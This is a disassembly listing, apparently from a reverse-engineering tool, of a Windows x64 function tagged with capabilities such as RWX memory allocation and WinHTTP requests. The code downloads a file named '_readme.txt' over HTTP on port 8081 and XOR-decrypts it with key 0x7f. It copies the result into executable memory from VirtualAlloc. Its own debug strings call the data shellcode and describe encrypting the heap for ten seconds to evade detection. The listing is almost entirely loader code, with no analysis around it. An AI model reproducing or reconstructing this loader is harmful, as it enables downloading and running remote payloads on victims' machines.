Function at 0x140001160
Capabilities:
Allocate or change rwx memory
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
sub rsp, 0xf8
lea rax, [0x14001b3a0]
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0x68], 0x1f91
lea rax, str._readme.txt
mov qword [rsp + 0xb0], rax
mov byte [rsp + 0x40], 0x7f
mov dword [rsp + 0x4c], 0
lea rcx, [rsp + 0x80]
call fcn.140002290
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0xa0], rax
lea rcx, str.___WinHTTP_initialized_n
call fcn.140002c90
xor r9d, r9d
movzx r8d, word [rsp + 0x68]
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x98], rax
lea rcx, str.___Connected_to_HTTP_Server_n
call fcn.140002c90
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0xb0]
lea rdx, [0x14001b418]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rsp + 0x58], rax
lea rcx, str.___Sending_HTTP_GET_Request_n
call fcn.140002c90
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rsp + 0x6c], eax
lea rcx, str.___WinHTTP_request_sent_n
call fcn.140002c90
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [rsp + 0x6c], eax
lea rcx, str.___Response_retrieved_n
call fcn.140002c90
mov dword [rsp + 0x44], 0
lea rdx, [rsp + 0x44]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x1400012da
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpQueryDataAvailable._n
call fcn.140002c90
mov eax, dword [rsp + 0x44]
inc eax
mov eax, eax
mov ecx, eax
call fcn.140002e88
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x14000131a
lea rcx, str.____No_more_available_data
call fcn.140002c90
mov dword [rsp + 0x44], 0
mov eax, dword [rsp + 0x44]
inc eax
mov eax, eax
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x50]
call fcn.140019f90
lea r9, [rsp + 0x4c]
mov r8d, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x140001365
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpReadData._n
call fcn.140002c90
jmp 0x1400013bb
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x80]
call fcn.140002ad0
mov rax, qword [rax]
mov qword [rsp + 0xc0], rax
mov eax, dword [rsp + 0x4c]
mov rcx, qword [rsp + 0x50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0xc0]
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x80]
call fcn.140002050
cmp dword [rsp + 0x44], 0
ja 0x1400012aa
lea rcx, [rsp + 0x80]
call fcn.140002b90
mov rcx, rax
call fcn.140009778
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x48], 0
jmp 0x1400013f4
mov eax, dword [rsp + 0x48]
inc eax
mov dword [rsp + 0x48], eax
movsxd rax, dword [rsp + 0x48]
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0x80]
call fcn.140002b90
mov rcx, qword [rsp + 0xc8]
cmp rcx, rax
jae 0x140001445
movsxd rax, dword [rsp + 0x48]
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.140002550
movzx eax, byte [rax]
xor eax, 0x7f
movsxd rcx, dword [rsp + 0x48]
mov rdx, qword [rsp + 0x60]
mov byte [rdx + rcx], al
jmp 0x1400013ea
lea rcx, str.___Encrypted_shellcode_allocated_in_heap_n
call fcn.140002c90
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0x80]
call fcn.140002b90
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x1400014a8
lea rcx, str.____VirtualAlloc_failed_n
call fcn.140002c90
mov ecx, 1
call fcn.140009a88
mov rdx, qword [rsp + 0x78]
lea rcx, str.___Allocated_space_for_the_buffer__p_n
call fcn.140002c90
lea rcx, [rsp + 0x80]
call fcn.140002b90
movzx r8d, byte [rsp + 0x40]
mov edx, eax
mov rcx, qword [rsp + 0x60]
call section..text
lea rcx, [rsp + 0x80]
call fcn.140002b90
mov r8, rax
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
call fcn.1400198f0
lea rcx, str.___Shellcode_decrypted_and_written_n
call fcn.140002c90
lea rcx, str.___Encrypting_the_heap_for_10_seconds_n
call fcn.140002c90
call fcn.1400010f0
lea rcx, str.___Decrypting_the_heap_n
call fcn.140002c90
call fcn.1400010f0
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x60]
call fcn.140009764
mov dword [rsp + 0x70], 0
lea rcx, [rsp + 0x80]
call fcn.1400024b0
mov eax, dword [rsp + 0x70]
add rsp, 0xf8
ret